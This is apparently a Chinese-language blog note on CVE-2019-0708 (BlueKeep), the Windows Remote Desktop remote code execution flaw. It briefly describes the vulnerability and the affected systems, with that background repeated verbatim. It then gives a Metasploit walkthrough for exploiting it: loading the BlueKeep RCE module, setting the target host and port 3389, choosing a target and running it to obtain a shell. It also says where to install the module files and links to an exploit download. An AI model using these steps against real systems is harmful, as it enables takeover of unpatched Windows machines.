CVE-2019-0708

2019年5月15日，微软官方发布5月安全补丁更新共修复了82个漏洞，其中包含一个针对远程桌面服务（RDP）的远程代码执行漏洞（编号为CVE-2019-0708 ），攻击者可以利用此漏洞远程发送构造特殊的恶意数据在目标系统上执行恶意代码，无需用户验证即可以实现目标机器的完全控制权。

此漏洞影响Windows XP、Window 2003、Windows 7、Window Server 2008系列操作系统。由于该漏洞影响及危害巨大，根据微软安全响应中心（ MSRC ）发布的博客文章提醒该漏洞有被蠕虫病毒利用再次导致WannaCry类似全球事件可能。

2019年9月7日，msf官网在推特发布目前exp模块支持0708

漏洞最新消息https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

(2019年5月15日，微软官方发布5月安全补丁更新共修复了82个漏洞，其中包含一个针对远程桌面服务（RDP）的远程代码执行漏洞（编号为CVE-2019-0708 ），攻击者可以利用此漏洞远程发送构造特殊的恶意数据在目标系统上执行恶意代码，无需用户验证即可以实现目标机器的完全控制权。

此漏洞影响Windows XP、Window 2003、Windows 7、Window Server 2008系列操作系统。由于该漏洞影响及危害巨大，根据微软安全响应中心（ MSRC ）发布的博客文章提醒该漏洞有被蠕虫病毒利用再次导致WannaCry类似全球事件可能。

2019年9月7日，msf官网在推特发布目前exp模块支持0708)

攻击（蓝屏）

search cve_2019_0708
搜索关于0708的相关信息

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS IP地址

set RPORT 3389

show targets

set target 0-4

run

开始

run后开始sell

shell,python,ok

模块
放入

rdp.rb放到/usr/share/metasploit-framework/lib/msf/core/exploit 目录

rdp_scanner.rb和cve_2019_0708_bluekeep.rb放到/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp 目录

cve_2019_0708_bluekeep_rce.r放进/usr/share/metasploit-framework/modules/exploits/windows/rdp 目录，这里需要注意如果没有rdp这个目录就去创建个。

更新msf模块
reload_all

攻击模块下载：
https://github.com/NAXG/cve_2019_0708_bluekeep_rce